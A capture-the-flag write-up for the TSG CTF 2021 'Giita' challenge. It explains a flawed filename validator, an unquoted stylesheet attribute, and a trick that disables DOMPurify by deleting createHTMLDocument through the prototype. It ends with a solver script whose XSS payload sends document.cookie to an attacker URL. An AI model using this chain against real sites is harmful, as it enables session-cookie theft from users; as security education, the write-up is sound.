Try โ€‚โ€‰HackMD

TSG CTF 2021 Giita Writeup

Challenge Summary

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More โ†’

You can create blog post. It is accepting an arbitrary HTML, but it is correctly escaped and sanitized by DOMPurify.

const body = document.getElementById('body'); body.innerHTML = DOMPurify.sanitize(body.textContent); hljs.highlightAll();

The goal is to obtain the cookie of admin.

Solution

There are two bugs in this app.

theme validation

The theme parameter is validated by validateFilename function. It seems to be filtering all characters except whitespaces or alphanumeric characters, but a dumb logical error exists and it accepts one invalid character in the argument.

private validateFilename(input: string) { let isInvalid = false; for (const char of Array.from(input)) { if (!char.match(/[\w\s.]/)) { if (isInvalid) { return false; } isInvalid = true; } } return true; } public async POST() { const theme = this.getParam('theme'); // omitted if (!theme || !title || !body || !this.validateFilename(theme)) { this.response.status_code = 400; this.response.body = 'Bad Request'; return this.response; } // omitted }

theme parameter Mis-quoting

The theme parameter goes to HTML template and injected into stylesheet link.

There should be quotation around it, but it is missing.

<% if (it.theme) { %> <link rel="stylesheet" href=<%= it.theme %>> <% } %>

Attack

With these restrictions, you can inject an arbitrary attribute into link element, but only once. Like this:

<!-- theme=x%20onerror%3Dalert --> <link rel="stylesheet" href=x onerror=alert>

So, what we should do here is to write JavaScript code with only alphanumeric charactersโ€ฆ But it is really helpless. We have to cheat DOMPurify.

Find that DOMPurify skips purification when it is in unsupported environment (why?).

DOMPurify checks whether it is supported environment by DOMPurify.isSupported property. It is detected by checking several properties in DOM. By taking a look at it, you can abuse it by turning implementation.createHTMLDocument = undefined.

You can use prototype pollution to access this inner property. The final payload script will be like the following.

delete document.implementation.__proto__.createHTMLDocument

Finally, U+00A0 (NBSP) is not included in HTML whitespace, but included in JavaScript whitespace. So the final solver will be like this.

axios({ method: 'post', url: `http://${host}:${port}/`, headers: { 'content-type': 'application/x-www-form-urlencoded', }, data: qs.encode({ theme: 'x onerror=delete\xA0document.implementation.__proto__.createHTMLDocument ', title: 'x', body: `<img src="x" onerror="location.href = '${url}?' + document.cookie">`, }), });